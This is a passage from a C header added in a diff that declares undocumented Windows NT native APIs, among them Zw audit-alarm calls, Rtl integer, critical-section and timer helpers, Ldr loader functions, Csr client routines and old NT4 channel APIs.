BOOLEAN ObjectCreation, + _Out_ PACCESS_MASK GrantedAccess, + _Out_ PNTSTATUS AccessStatus, + _Out_ PBOOLEAN GenerateOnClose + ); + + + +NTSTATUS +NTAPI +ZwAccessCheckByTypeResultListAndAuditAlarm ( + _In_ PUNICODE_STRING SubsystemName, + _In_ OPTIONAL PVOID HandleId, + _In_ PUNICODE_STRING ObjectTypeName, + _In_ PUNICODE_STRING ObjectName, + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _In_ OPTIONAL PSID PrincipalSelfSid, + _In_ ACCESS_MASK DesiredAccess, + _In_ AUDIT_EVENT_TYPE AuditType, + _In_ ULONG Flags, + _In_ POBJECT_TYPE_LIST ObjectTypeList, + _In_ ULONG ObjectTypeListLength, + _In_ PGENERIC_MAPPING GenericMapping, + _In_ BOOLEAN ObjectCreation, + _Out_ PACCESS_MASK GrantedAccess, + _Out_ PNTSTATUS AccessStatus, + _Out_ PBOOLEAN GenerateOnClose + ); + + + +NTSTATUS +NTAPI +ZwAccessCheckByTypeResultListAndAuditAlarmByHandle ( + _In_ PUNICODE_STRING SubsystemName, + _In_ OPTIONAL PVOID HandleId, + _In_ HANDLE ClientToken, + _In_ PUNICODE_STRING ObjectTypeName, + _In_ PUNICODE_STRING ObjectName, + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _In_ OPTIONAL PSID PrincipalSelfSid, + _In_ ACCESS_MASK DesiredAccess, + _In_ AUDIT_EVENT_TYPE AuditType, + _In_ ULONG Flags, + _In_ POBJECT_TYPE_LIST ObjectTypeList, + _In_ ULONG ObjectTypeListLength, + _In_ PGENERIC_MAPPING GenericMapping, + _In_ BOOLEAN ObjectCreation, + _Out_ PACCESS_MASK GrantedAccess, + _Out_ PNTSTATUS AccessStatus, + _Out_ PBOOLEAN GenerateOnClose + ); + + +NTSTATUS +NTAPI +ZwOpenObjectAuditAlarm ( + _In_ PUNICODE_STRING SubsystemName, + _In_ OPTIONAL PVOID HandleId, + _In_ PUNICODE_STRING ObjectTypeName, + _In_ PUNICODE_STRING ObjectName, + _In_ OPTIONAL PSECURITY_DESCRIPTOR SecurityDescriptor, + _In_ HANDLE ClientToken, + _In_ ACCESS_MASK DesiredAccess, + _In_ ACCESS_MASK GrantedAccess, + _In_ OPTIONAL PPRIVILEGE_SET Privileges, + _In_ BOOLEAN ObjectCreation, + _In_ BOOLEAN AccessGranted, + _Out_ PBOOLEAN GenerateOnClose + ); + + +NTSTATUS +NTAPI +ZwPrivilegeObjectAuditAlarm ( + _In_ PUNICODE_STRING SubsystemName, + _In_ OPTIONAL PVOID HandleId, + _In_ HANDLE ClientToken, + _In_ ACCESS_MASK DesiredAccess, + _In_ PPRIVILEGE_SET Privileges, + _In_ BOOLEAN AccessGranted + ); + + +NTSTATUS +NTAPI +ZwCloseObjectAuditAlarm ( + _In_ PUNICODE_STRING SubsystemName, + _In_ OPTIONAL PVOID HandleId, + _In_ BOOLEAN GenerateOnClose + ); + + +NTSTATUS +NTAPI +ZwDeleteObjectAuditAlarm ( + _In_ PUNICODE_STRING SubsystemName, + _In_ OPTIONAL PVOID HandleId, + _In_ BOOLEAN GenerateOnClose + ); + + +NTSTATUS +NTAPI +ZwPrivilegedServiceAuditAlarm ( + _In_ PUNICODE_STRING SubsystemName, + _In_ PUNICODE_STRING ServiceName, + _In_ HANDLE ClientToken, + _In_ PPRIVILEGE_SET Privileges, + _In_ BOOLEAN AccessGranted + ); + + +NTSTATUS +NTAPI +ZwContinue ( + _In_ PCONTEXT ContextRecord, + _In_ BOOLEAN TestAlert + ); + + +NTSTATUS +NTAPI +ZwRaiseException ( + _In_ PEXCEPTION_RECORD ExceptionRecord, + _In_ PCONTEXT ContextRecord, + _In_ BOOLEAN FirstChance + ); + +// end_zwapi + +ULONG +DbgPrint( + _In_ PCH Format, + ... + ); + +VOID NTAPI +DebugService2 ( + PVOID Arg1, + PVOID Arg2, + ULONG Service + ); + + +__inline +LARGE_INTEGER +NTAPI +RtlLargeIntegerAdd ( + LARGE_INTEGER Addend1, + LARGE_INTEGER Addend2 + ); + +__inline +LARGE_INTEGER +NTAPI +RtlEnlargedIntegerMultiply ( + LONG Multiplicand, + LONG Multiplier + ); + +__inline +LARGE_INTEGER +NTAPI +RtlEnlargedUnsignedMultiply ( + ULONG Multiplicand, + ULONG Multiplier + ); + +__inline +ULONG +NTAPI +RtlEnlargedUnsignedDivide ( + _In_ ULARGE_INTEGER Dividend, + _In_ ULONG Divisor, + _In_ PULONG Remainder OPTIONAL + ); + +__inline +LARGE_INTEGER +NTAPI +RtlLargeIntegerNegate ( + LARGE_INTEGER Subtrahend + ); + +__inline +LARGE_INTEGER +NTAPI +RtlLargeIntegerSubtract ( + LARGE_INTEGER Minuend, + LARGE_INTEGER Subtrahend + ); + +LARGE_INTEGER +NTAPI +RtlExtendedMagicDivide ( + LARGE_INTEGER Dividend, + LARGE_INTEGER MagicDivisor, + CCHAR ShiftCount + ); + +LARGE_INTEGER +NTAPI +RtlExtendedLargeIntegerDivide ( + LARGE_INTEGER Dividend, + ULONG Divisor, + PULONG Remainder + ); + +LARGE_INTEGER +NTAPI +RtlLargeIntegerDivide ( + LARGE_INTEGER Dividend, + LARGE_INTEGER Divisor, + PLARGE_INTEGER Remainder + ); + +LARGE_INTEGER +NTAPI +RtlExtendedIntegerMultiply ( + LARGE_INTEGER Multiplicand, + LONG Multiplier + ); + +__inline +LARGE_INTEGER +NTAPI +RtlConvertLongToLargeInteger ( + LONG SignedInteger + ); + + +__inline +LARGE_INTEGER +NTAPI +RtlConvertUlongToLargeInteger ( + ULONG UnsignedInteger + ); + +__inline +LARGE_INTEGER +NTAPI +RtlLargeIntegerShiftLeft ( + LARGE_INTEGER LargeInteger, + CCHAR ShiftCount + ); + +__inline +LARGE_INTEGER +NTAPI +RtlLargeIntegerShiftRight ( + LARGE_INTEGER LargeInteger, + CCHAR ShiftCount + ); + + +__inline +LARGE_INTEGER +NTAPI +RtlLargeIntegerArithmeticShift ( + LARGE_INTEGER LargeInteger, + CCHAR ShiftCount + ); + + +__inline +BOOLEAN +NTAPI +RtlCheckBit ( + PRTL_BITMAP BitMapHeader, + ULONG BitPosition + ); + + +BOOLEAN +NTAPI +RtlIsValidOemCharacter ( + _In_ _Out_ PWCHAR Char + ); + +PIMAGE_NT_HEADERS +NTAPI +RtlpImageNtHeader( + PVOID Base + ); + +RTL_PATH_TYPE +RtlDetermineDosPathNameType_U( + _In_ PCWSTR DosFileName + ); + +PRTL_TRACE_DATABASE +RtlTraceDatabaseCreate ( + _In_ ULONG Buckets, + _In_ SIZE_T MaximumSize OPTIONAL, + _In_ ULONG Flags, // OPTIONAL in User mode + _In_ ULONG Tag, // OPTIONAL in User mode + _In_ RTL_TRACE_HASH_FUNCTION HashFunction OPTIONAL + ); + +BOOLEAN +RtlTraceDatabaseValidate ( + _In_ PRTL_TRACE_DATABASE Database + ); + +BOOLEAN +RtlTraceDatabaseAdd ( + _In_ PRTL_TRACE_DATABASE Database, + _In_ ULONG Count, + _In_ PVOID * Trace, + _Out_ PRTL_TRACE_BLOCK * TraceBlock OPTIONAL + ); + +BOOLEAN +RtlTraceDatabaseFind ( + PRTL_TRACE_DATABASE Database, + _In_ ULONG Count, + _In_ PVOID * Trace, + _Out_ PRTL_TRACE_BLOCK * TraceBlock OPTIONAL + ); + +BOOLEAN +RtlTraceDatabaseEnumerate ( + PRTL_TRACE_DATABASE Database, + _Out_ PRTL_TRACE_ENUMERATE Enumerate, + _Out_ PRTL_TRACE_BLOCK * TraceBlock + ); + +VOID +RtlTraceDatabaseLock ( + _In_ PRTL_TRACE_DATABASE Database + ); + +VOID +RtlTraceDatabaseUnlock ( + _In_ PRTL_TRACE_DATABASE Database + ); + +VOID +RtlpGetStackLimits ( + _Out_ PULONG_PTR LowLimit, + _Out_ PULONG_PTR HighLimit + ); + +NTSTATUS +NTAPI +RtlEnterCriticalSection( + PRTL_CRITICAL_SECTION CriticalSection + ); + +NTSTATUS +NTAPI +RtlLeaveCriticalSection( + PRTL_CRITICAL_SECTION CriticalSection + ); + +LOGICAL +NTAPI +RtlIsCriticalSectionLocked ( + _In_ PRTL_CRITICAL_SECTION CriticalSection + ); + +LOGICAL +NTAPI +RtlIsCriticalSectionLockedByThread ( + _In_ PRTL_CRITICAL_SECTION CriticalSection + ); + +ULONG +NTAPI +RtlGetCriticalSectionRecursionCount ( + _In_ PRTL_CRITICAL_SECTION CriticalSection + ); + +LOGICAL +NTAPI +RtlTryEnterCriticalSection( + PRTL_CRITICAL_SECTION CriticalSection + ); + +NTSTATUS +NTAPI +RtlInitializeCriticalSection( + PRTL_CRITICAL_SECTION CriticalSection + ); + +VOID +NTAPI +RtlEnableEarlyCriticalSectionEventCreation( + VOID + ); + +NTSTATUS +NTAPI +RtlInitializeCriticalSectionAndSpinCount( + PRTL_CRITICAL_SECTION CriticalSection, + ULONG SpinCount + ); + +ULONG +NTAPI +RtlSetCriticalSectionSpinCount( + PRTL_CRITICAL_SECTION CriticalSection, + ULONG SpinCount + ); + +NTSTATUS +NTAPI +RtlDeleteCriticalSection( + PRTL_CRITICAL_SECTION CriticalSection + ); + +NTSTATUS +NTAPI +LdrDisableThreadCalloutsForDll ( + _In_ PVOID DllHandle + ); + +NTSTATUS +NTAPI +LdrLoadDll( + _In_ OPTIONAL PWSTR DllPath, + _In_ OPTIONAL PULONG DllCharacteristics, + _In_ PUNICODE_STRING DllName, + _Out_ PVOID *DllHandle + ); + +NTSTATUS +NTAPI +LdrUnloadDll( + _In_ PVOID DllHandle + ); + +NTSTATUS +NTAPI +LdrGetDllHandle( + _In_ OPTIONAL PWSTR DllPath, + _In_ OPTIONAL PULONG DllCharacteristics, + _In_ PUNICODE_STRING DllName, + _Out_ PVOID *DllHandle + ); + +NTSTATUS +NTAPI +LdrGetDllHandleEx( + _In_ ULONG Flags, + _In_ OPTIONAL PCWSTR DllPath, + _In_ OPTIONAL PULONG DllCharacteristics, + _In_ PUNICODE_STRING DllName, + _Out_ OPTIONAL PVOID *DllHandle + ); + +NTSTATUS +NTAPI +LdrGetDllHandleByMapping( + _In_ PVOID Base, + _Out_ PVOID *DllHandle + ); + +NTSTATUS +NTAPI +LdrGetDllHandleByName( + _In_ OPTIONAL PUNICODE_STRING BaseDllName, + _In_ OPTIONAL PUNICODE_STRING FullDllName, + _Out_ PVOID *DllHandle + ); + +NTSTATUS +NTAPI +LdrAddRefDll( + _In_ ULONG Flags, + _In_ PVOID DllHandle + ); + +NTSTATUS +NTAPI +LdrGetProcedureAddress( + _In_ PVOID DllHandle, + _In_ OPTIONAL PANSI_STRING ProcedureName, + _In_ OPTIONAL ULONG ProcedureNumber, + _Out_ PVOID *ProcedureAddress + ); + +NTSTATUS +NTAPI +LdrGetProcedureAddressEx( + _In_ PVOID DllHandle, + _In_ OPTIONAL PANSI_STRING ProcedureName, + _In_ OPTIONAL ULONG ProcedureNumber, + _Out_ PVOID *ProcedureAddress, + _In_ ULONG Flags + ); + +NTSTATUS +NTAPI +LdrLockLoaderLock( + _In_ ULONG Flags, + _Out_ OPTIONAL ULONG *Disposition, + _Out_ PVOID *Cookie + ); + +NTSTATUS +NTAPI +LdrRelocateImage( + _In_ PVOID NewBase, + _In_ PSTR LoaderName, + _In_ NTSTATUS Success, + _In_ NTSTATUS Conflict, + _In_ NTSTATUS Invalid + ); + +NTSTATUS +NTAPI +LdrRelocateImageWithBias( + _In_ PVOID NewBase, + _In_ LONGLONG Bias, + _In_ PSTR LoaderName, + _In_ NTSTATUS Success, + _In_ NTSTATUS Conflict, + _In_ NTSTATUS Invalid + ); + +PIMAGE_BASE_RELOCATION +NTAPI +LdrProcessRelocationBlock( + _In_ ULONG_PTR VA, + _In_ ULONG SizeOfBlock, + _In_ PUSHORT NextOffset, + _In_ LONG_PTR Diff + ); + +BOOLEAN +NTAPI +LdrVerifyMappedImageMatchesChecksum( + _In_ PVOID BaseAddress, + _In_ SIZE_T NumberOfBytes, + _In_ ULONG FileLength + ); + +NTSTATUS +NTAPI +LdrQueryModuleServiceTags( + _In_ PVOID DllHandle, + _Out_ PULONG ServiceTagBuffer, + _In_ _Out_ PULONG BufferSize + ); + +NTSTATUS +NTAPI +LdrRegisterDllNotification( + _In_ ULONG Flags, + _In_ PLDR_DLL_NOTIFICATION_FUNCTION NotificationFunction, + _In_ PVOID Context, + _Out_ PVOID *Cookie + ); + +NTSTATUS +NTAPI +LdrUnregisterDllNotification( + _In_ PVOID Cookie + ); + +ULONG +NTAPI +CsrGetProcessId( + ); + +void +NTAPI +A_SHAFinal( + PSHA_CTX Context, + PULONG Result + ); + + +PVOID +NTAPI +A_SHAUpdate( + _In_ _Out_ PSHA_CTX, + _In_ PCHAR, + _In_ UINT + ); + +PVOID +NTAPI +A_SHAInit( + _In_ _Out_ PSHA_CTX, + _Out_ PVOID + ); + +BOOLEAN +NTAPI +RtlDosPathNameToNtPathName_U( + _In_ PCWSTR DosFileName, + _Out_ PUNICODE_STRING NtFileName, + _Out_ PWSTR *FilePart OPTIONAL, + PVOID Reserved + ); + +NTSTATUS +NTAPI +RtlDosPathNameToNtPathName_U_WithStatus( + _In_ PCWSTR DosFileName, + _Out_ PUNICODE_STRING NtFileName, + _Out_ PWSTR *FilePart OPTIONAL, + PVOID Reserved // Must be NULL + ); + +PVOID +NTAPI +RtlAddVectoredExceptionHandler ( + _In_ ULONG First, + _In_ PVECTORED_EXCEPTION_HANDLER Handler + ); + +PVOID +NTAPI +RtlAddVectoredContinueHandler ( + _In_ ULONG First, + _In_ PVECTORED_EXCEPTION_HANDLER Handler + ); + +NTSTATUS +NTAPI +RtlAnalyzeProfile ( + VOID + ); + +BOOLEAN +NTAPI +RtlCallVectoredContinueHandlers ( + _In_ PEXCEPTION_RECORD ExceptionRecord, + _In_ PCONTEXT ContextRecord + ); + +PVOID +RtlEncodePointer( + PVOID Ptr + ); + +PVOID +RtlDecodePointer( + PVOID Ptr + ); + +PVOID +RtlEncodeSystemPointer( + PVOID Ptr + ); + +PVOID +RtlDecodeSystemPointer( + PVOID Ptr + ); + +VOID +NTAPI +RtlDeleteResource( + PRTL_RESOURCE Resource + ); + +NTSTATUS +NTAPI +RtlDeleteSecurityObject( + PSECURITY_DESCRIPTOR * ObjectDescriptor + ); + +BOOLEAN +RtlDllShutdownInProgress( + VOID + ); + +ULONG +NTAPI +RtlGetCurrentProcessorNumber ( + VOID + ); + +#define RTL_UNLOAD_EVENT_TRACE_NUMBER 16 + +typedef struct _RTL_UNLOAD_EVENT_TRACE { + PVOID BaseAddress; // Base address of dll + SIZE_T SizeOfImage; // Size of image + ULONG Sequence; // Sequence number for this event + ULONG TimeDateStamp; // Time and date of image + ULONG CheckSum; // Image checksum + WCHAR ImageName[32]; // Image name +} RTL_UNLOAD_EVENT_TRACE, *PRTL_UNLOAD_EVENT_TRACE; + +typedef struct _RTL_UNLOAD_EVENT_TRACE64 { + ULONGLONG BaseAddress; // Base address of dll + ULONGLONG SizeOfImage; // Size of image + ULONG Sequence; // Sequence number for this event + ULONG TimeDateStamp; // Time and date of image + ULONG CheckSum; // Image checksum + WCHAR ImageName[32]; // Image name +} RTL_UNLOAD_EVENT_TRACE64, *PRTL_UNLOAD_EVENT_TRACE64; + +typedef struct _RTL_UNLOAD_EVENT_TRACE32 { + ULONG BaseAddress; // Base address of dll + ULONG SizeOfImage; // Size of image + ULONG Sequence; // Sequence number for this event + ULONG TimeDateStamp; // Time and date of image + ULONG CheckSum; // Image checksum + WCHAR ImageName[32]; // Image name +} RTL_UNLOAD_EVENT_TRACE32, *PRTL_UNLOAD_EVENT_TRACE32; + +PRTL_UNLOAD_EVENT_TRACE +NTAPI +RtlGetUnloadEventTrace( + VOID + ); + +NTSTATUS +NTAPI +RtlInitializeProfile( + BOOLEAN KernelToo + ); + +typedef BOOLEAN +(NTAPI * +PRTL_IS_THREAD_WITHIN_LOADER_CALLOUT)( + VOID + ); + +BOOLEAN +NTAPI +RtlIsThreadWithinLoaderCallout ( + VOID + ); + +NTSTATUS +NTAPI +RtlSetLFHDebuggingInformation( + PVOID LFHHeap, + PHEAP_DEBUGGING_INFORMATION DebuggingInformation + ); + +ULONG +NTAPI +RtlMultipleAllocateHeap ( + _In_ PVOID HeapHandle, + _In_ ULONG Flags, + _In_ SIZE_T Size, + _In_ ULONG Count, + _Out_ PVOID * Array + ); + +ULONG +NTAPI +RtlMultipleFreeHeap ( + _In_ PVOID HeapHandle, + _In_ ULONG Flags, + _In_ ULONG Count, + _Out_ PVOID * Array + ); + +NTSTATUS +NTAPI +RtlNewSecurityObjectEx ( + _In_ PSECURITY_DESCRIPTOR ParentDescriptor OPTIONAL, + _In_ PSECURITY_DESCRIPTOR CreatorDescriptor OPTIONAL, + _Out_ PSECURITY_DESCRIPTOR * NewDescriptor, + _In_ GUID *ObjectType OPTIONAL, + _In_ BOOLEAN IsDirectoryObject, + _In_ ULONG AutoInheritFlags, + _In_ HANDLE Token, + _In_ PGENERIC_MAPPING GenericMapping + ); + +NTSTATUS +NTAPI +RtlNewSecurityObjectWithMultipleInheritance ( + _In_ PSECURITY_DESCRIPTOR ParentDescriptor OPTIONAL, + _In_ PSECURITY_DESCRIPTOR CreatorDescriptor OPTIONAL, + _Out_ PSECURITY_DESCRIPTOR * NewDescriptor, + _In_ GUID **pObjectType OPTIONAL, + _In_ ULONG GuidCount, + _In_ BOOLEAN IsDirectoryObject, + _In_ ULONG AutoInheritFlags, + _In_ HANDLE Token, + _In_ PGENERIC_MAPPING GenericMapping + ); + +#if !defined(_WINDOWS_) +NTSTATUS +NTAPI +RtlSetHeapInformation ( + _In_ PVOID HeapHandle, + _In_ HEAP_INFORMATION_CLASS HeapInformationClass, + _In_ PVOID HeapInformation OPTIONAL, + _In_ SIZE_T HeapInformationLength OPTIONAL + ); + +NTSTATUS +NTAPI +RtlQueryHeapInformation ( + _In_ PVOID HeapHandle, + _In_ HEAP_INFORMATION_CLASS HeapInformationClass, + _Out_ PVOID HeapInformation OPTIONAL, + _In_ SIZE_T HeapInformationLength OPTIONAL, + _Out_ PSIZE_T ReturnLength OPTIONAL + ); +#endif + +NTSTATUS +NTAPI +RtlQuerySecurityObject ( + PSECURITY_DESCRIPTOR ObjectDescriptor, + SECURITY_INFORMATION SecurityInformation, + PSECURITY_DESCRIPTOR ResultantDescriptor, + ULONG DescriptorLength, + PULONG ReturnLength + ); + +NTSTATUS +NTAPI +RtlRegisterWait( + _Out_ PHANDLE WaitHandle, + _In_ HANDLE Handle, + _In_ WAITORTIMERCALLBACKFUNC Function, + _In_ PVOID Context, + _In_ ULONG Milliseconds, + _In_ ULONG Flags + ); + +ULONG +NTAPI +RtlRemoveVectoredContinueHandler ( + _In_ PVOID Handle + ); + +ULONG +NTAPI +RtlRemoveVectoredExceptionHandler ( + _In_ PVOID Handle + ); + +NTSTATUS +NTAPI +RtlSetIoCompletionCallback( + _In_ HANDLE FileHandle, + _In_ APC_CALLBACK_FUNCTION CompletionProc, + _In_ ULONG Flags + ); + +NTSTATUS +NTAPI +RtlSetSecurityObject( + SECURITY_INFORMATION SecurityInformation, + PSECURITY_DESCRIPTOR ModificationDescriptor, + PSECURITY_DESCRIPTOR *ObjectsSecurityDescriptor, + PGENERIC_MAPPING GenericMapping, + HANDLE Token + ); + +NTSTATUS +NTAPI +RtlSetSecurityObjectEx( + _In_ SECURITY_INFORMATION SecurityInformation, + _In_ PSECURITY_DESCRIPTOR ModificationDescriptor, + _In_ _Out_ PSECURITY_DESCRIPTOR *ObjectsSecurityDescriptor, + _In_ ULONG AutoInheritFlags, + _In_ PGENERIC_MAPPING GenericMapping, + _In_ HANDLE Token OPTIONAL + ); + +typedef ULONG (NTAPI RTLP_UNHANDLED_EXCEPTION_FILTER) ( + struct _EXCEPTION_POINTERS *ExceptionInfo + ); + +typedef RTLP_UNHANDLED_EXCEPTION_FILTER *PRTLP_UNHANDLED_EXCEPTION_FILTER; + +VOID +RtlSetUnhandledExceptionFilter ( + PRTLP_UNHANDLED_EXCEPTION_FILTER UnhandledExceptionFilter + ); + +NTSTATUS +NTAPI +RtlStartProfile ( + VOID + ); + +NTSTATUS +NTAPI +RtlStopProfile ( + VOID + ); + +NTSTATUS +RtlWow64EnableFsRedirection( + _In_ BOOLEAN Wow64FsEnableRedirection + ); + + +NTSTATUS +RtlWow64EnableFsRedirectionEx( + _In_ PVOID Wow64FsEnableRedirection, + _Out_ PVOID *OldFsRedirectionLevel + ); + +NTSTATUS +NTAPI +RtlRegisterWait( + _Out_ PHANDLE WaitHandle, + _In_ HANDLE Handle, + _In_ WAITORTIMERCALLBACKFUNC Function, + _In_ PVOID Context, + _In_ ULONG Milliseconds, + _In_ ULONG Flags + ); + +NTSTATUS +NTAPI +RtlDeregisterWait( + _In_ HANDLE WaitHandle + ); + +NTSTATUS +NTAPI +RtlDeregisterWaitEx( + _In_ HANDLE WaitHandle, + _In_ HANDLE Event + ); + +#define RtlEqualMemory(Destination,Source,Length) (!memcmp((Destination),(Source),(Length))) +#define RtlMoveMemory(Destination,Source,Length) memmove((Destination),(Source),(Length)) +#define RtlCopyMemory(Destination,Source,Length) memcpy((Destination),(Source),(Length)) +#define RtlZeroMemory(Destination,Length) memset((Destination),0,(Length)) + +typedef +VOID +(*PKNORMAL_ROUTINE) +(_In_ PVOID NormalContext, + _In_ PVOID SystemArgument1, + _In_ PVOID SystemArgument2 + ); + +VOID +KiUserCallbackDispatcher( + _In_ ULONG ApiNumber, + _In_ PVOID InputBuffer, + _In_ ULONG INputLength + ); + +NTSTATUS +NTAPI +CsrClientConnectToServer( + _In_ PWSTR ObjectDirectory, + _In_ ULONG ServertDllIndex, + _In_ PCSR_CALLBACK_INFO CallbackInformation OPTIONAL, + _In_ PVOID ConnectionInformation, + _In_ _Out_ PULONG ConnectionInformationLength OPTIONAL, + _Out_ PBOOLEAN CalledFromServer OPTIONAL + ); + + +NTSTATUS +NTAPI +CsrClientCallServer( + _In_ _Out_ PCSR_API_MSG m, + _In_ _Out_ PCSR_CAPTURE_HEADER CaptureBuffer OPTIONAL, + _In_ CSR_API_NUMBER ApiNumber, + _In_ ULONG ArgLength + ); + + +PCSR_CAPTURE_HEADER +NTAPI +CsrAllocateCaptureBuffer( + _In_ ULONG CountMessagePointers, + _In_ ULONG CountCapturePointers, + _In_ ULONG Size + ); + +VOID +NTAPI +CsrFreeCaptureBuffer( + _In_ PCSR_CAPTURE_HEADER CaptureBuffer + ); + + +ULONG +NTAPI +CsrAllocateMessagePointer( + _In_ _Out_ PCSR_CAPTURE_HEADER CaptureBuffer, + _In_ ULONG Length, + _Out_ PVOID *Pointer + ); + +VOID +NTAPI +CsrCaptureMessageBuffer( + _In_ _Out_ PCSR_CAPTURE_HEADER CaptureBuffer, + _In_ PVOID Buffer OPTIONAL, + _In_ ULONG Length, + _Out_ PVOID *CapturedBuffer + ); + +VOID +NTAPI +CsrCaptureMessageString( + _In_ _Out_ PCSR_CAPTURE_HEADER CaptureBuffer, + _In_ PCSTR String, + _In_ ULONG Length, + _In_ ULONG MaximumLength, + _Out_ PSTRING CapturedString + ); + +PLARGE_INTEGER +NTAPI +CsrCaptureTimeout( + _In_ ULONG Milliseconds, + _Out_ PLARGE_INTEGER Timeout + ); + +VOID +NTAPI +CsrProbeForWrite( + _In_ PVOID Address, + _In_ ULONG Length, + _In_ ULONG Alignment + ); + +VOID +NTAPI +CsrProbeForRead( + _In_ PVOID Address, + _In_ ULONG Length, + _In_ ULONG Alignment + ); + +NTSTATUS +NTAPI +CsrNewThread( + VOID + ); + +NTSTATUS +NTAPI +CsrIdentifyAlertableThread( + VOID + ); + +NTSTATUS +NTAPI +CsrSetPriorityClass( + _In_ HANDLE ProcessHandle, + _In_ _Out_ PULONG PriorityClass + ); + +//added 20/03/2011 +NTSTATUS +NTAPI +RtlCreateProcessReflection( + _In_ HANDLE ProcessHandle, + _In_ ULONG Flags, + _In_ OPTIONAL PVOID StartRoutine, + _In_ OPTIONAL PVOID StartContext, + _In_ OPTIONAL HANDLE EventHandle, + _Out_ OPTIONAL PRTL_PROCESS_REFLECTION_INFORMATION ReflectionInformation + ); + + +NTSTATUS +NTAPI +RtlCloneUserProcess( + _In_ ULONG ProcessFlags, + _In_ OPTIONAL PSECURITY_DESCRIPTOR ProcessSecurityDescriptor, + _In_ OPTIONAL PSECURITY_DESCRIPTOR ThreadSecurityDescriptor, + _In_ OPTIONAL HANDLE DebugPort, + _Out_ PRTL_USER_PROCESS_INFORMATION ProcessInformation + ); + + +VOID +NTAPI +LdrShutdownProcess( + ); + +NTSTATUS +NTAPI +RtlQueryProcessModuleInformation( + _In_ HANDLE hProcess OPTIONAL, + _In_ ULONG Flags, + _In_ _Out_ PRTL_DEBUG_INFORMATION Buffer + ); + +NTSTATUS +NTAPI +RtlQueryProcessBackTraceInformation( + _In_ _Out_ PRTL_DEBUG_INFORMATION Buffer + ); + +NTSTATUS +NTAPI +RtlQueryProcessHeapInformation( + _In_ _Out_ PRTL_DEBUG_INFORMATION Buffer + ); + +NTSTATUS +NTAPI +RtlQueryProcessLockInformation( + _In_ _Out_ PRTL_DEBUG_INFORMATION Buffer + ); + +PRTL_DEBUG_INFORMATION +NTAPI +RtlCreateQueryDebugBuffer( + _In_ ULONG MaximumCommit OPTIONAL, + _In_ BOOLEAN UseEventPair + ); + +NTSTATUS +NTAPI +RtlDestroyQueryDebugBuffer( + _In_ PRTL_DEBUG_INFORMATION Buffer + ); + +NTSTATUS +NTAPI +RtlQueryProcessDebugInformation( + _In_ HANDLE UniqueProcessId, + _In_ ULONG Flags, + _In_ _Out_ PRTL_DEBUG_INFORMATION Buffer + ); + +NTSTATUS +NTAPI +RtlCreateTimer( + _In_ HANDLE TimerQueueHandle, + _Out_ HANDLE *Handle, + _In_ WAITORTIMERCALLBACKFUNC Function, + _In_ PVOID Context, + _In_ ULONG DueTime, + _In_ ULONG Period, + _In_ ULONG Flags + ); + +NTSTATUS +NTAPI +RtlUpdateTimer( + _In_ HANDLE TimerQueueHandle, + _In_ HANDLE TimerHandle, + _In_ ULONG DueTime, + _In_ ULONG Period + ); + +NTSTATUS +NTAPI +RtlDeleteTimer( + _In_ HANDLE TimerQueueHandle, + _In_ HANDLE TimerToCancel, + _In_ HANDLE Event + ); + +NTSTATUS +NTAPI +RtlDeleteTimerQueue( + _In_ HANDLE TimerQueueHandle + ); + +NTSTATUS +NTAPI +RtlDeleteTimerQueueEx( + _In_ HANDLE TimerQueueHandle, + _In_ HANDLE Event + ); + + +BOOLEAN +NTAPI +RtlDoesFileExists_U( + PCWSTR FileName + ); + + +ULONG +RtlGetCurrentDirectory_U( + ULONG nBufferLength, + PWSTR lpBuffer + ); + +NTSTATUS +RtlSetCurrentDirectory_U( + PUNICODE_STRING PathName + ); + + +ULONG +RtlDosSearchPath_U( + _In_ PWSTR lpPath, + _In_ PWSTR lpFileName, + _In_ PWSTR lpExtension OPTIONAL, + _In_ ULONG nBufferLength, + _Out_ PWSTR lpBuffer, + _Out_ PWSTR *lpFilePart + ); + + +void +NTAPI +RtlInitString( + PSTRING DestinationString, + PCSZ SourceString + ); + +ULONG +NTAPI +RtlGetFullPathName_U( + _In_ PCWSTR lpFileName, + _In_ ULONG nBufferLength, + _Out_ PWSTR lpBuffer, + _Out_ OPTIONAL PWSTR *lpFilePart + ); + +LONG +NTAPI +RtlCompareString( + const STRING * String1, + const STRING * String2, + BOOLEAN CaseInSensitive + ); + + +NTSTATUS +NTAPI +LdrRegisterDllNotification( + _In_ ULONG Flags, + _In_ PLDR_DLL_NOTIFICATION_FUNCTION NotificationFunction, + _In_ PVOID Context, + _Out_ PVOID *Cookie + ); + + +NTSTATUS +NTAPI +LdrUnregisterDllNotification( + _In_ PVOID Cookie + ); + + +ULONG +NTAPI +EtwRegisterSecurityProvider(); + +ULONG +NTAPI +EtwWriteUMSecurityEvent( + PCEVENT_DESCRIPTOR EventDescriptor, + USHORT EventProperty, + ULONG UserDataCount, + PEVENT_DATA_DESCRIPTOR UserData); + + +ULONG +NTAPI +EtwEventWriteEndScenario( + REGHANDLE RegHandle, + PCEVENT_DESCRIPTOR EventDescriptor, + ULONG UserDataCount, + PEVENT_DATA_DESCRIPTOR UserData + ); + +ULONG +NTAPI +EtwEventWriteFull( + REGHANDLE RegHandle, + PCEVENT_DESCRIPTOR EventDescriptor, + USHORT EventProperty, + LPCGUID ActivityId, + LPCGUID RelatedActivityId, + ULONG UserDataCount, + PEVENT_DATA_DESCRIPTOR UserData + ); + + +ULONG +NTAPI +EtwEventWriteStartScenario( + REGHANDLE RegHandle, + PCEVENT_DESCRIPTOR EventDescriptor, + ULONG UserDataCount, + PEVENT_DATA_DESCRIPTOR UserData + ); + + +// +// old channel apis, from nt4 +// + +NTSTATUS +NTAPI +NtCreateChannel ( + _Out_ PHANDLE ChannelHandle, + _In_ POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL + ); + +NTSTATUS +NTAPI +NtOpenChannel ( + _Out_ PHANDLE ChannelHandle, + _In_ POBJECT_ATTRIBUTES ObjectAttributes + ); + +NTSTATUS +NTAPI +NtListenChannel ( + _In_ HANDLE ChannelHandle, + _Out_ PCHANNEL_MESSAGE *Message + ); + +NTSTATUS +NTAPI +NtSendWaitReplyChannel ( + _In_ HANDLE ChannelHandle, + _In_ PVOID Text, + _In_ ULONG Length, + _Out_ PCHANNEL_MESSAGE *Message + ); + +NTSTATUS +NTAPI +NtReplyWaitSendChannel ( + _In_ PVOID Text, + _In_ ULONG Length, + _Out_ PCHANNEL_MESSAGE *Message + ); + + +ULONG +NTAPI +AlpcUnregisterCompletionListWorkerThread( + PVOID CompletionList + ); + + +void +NTAPI 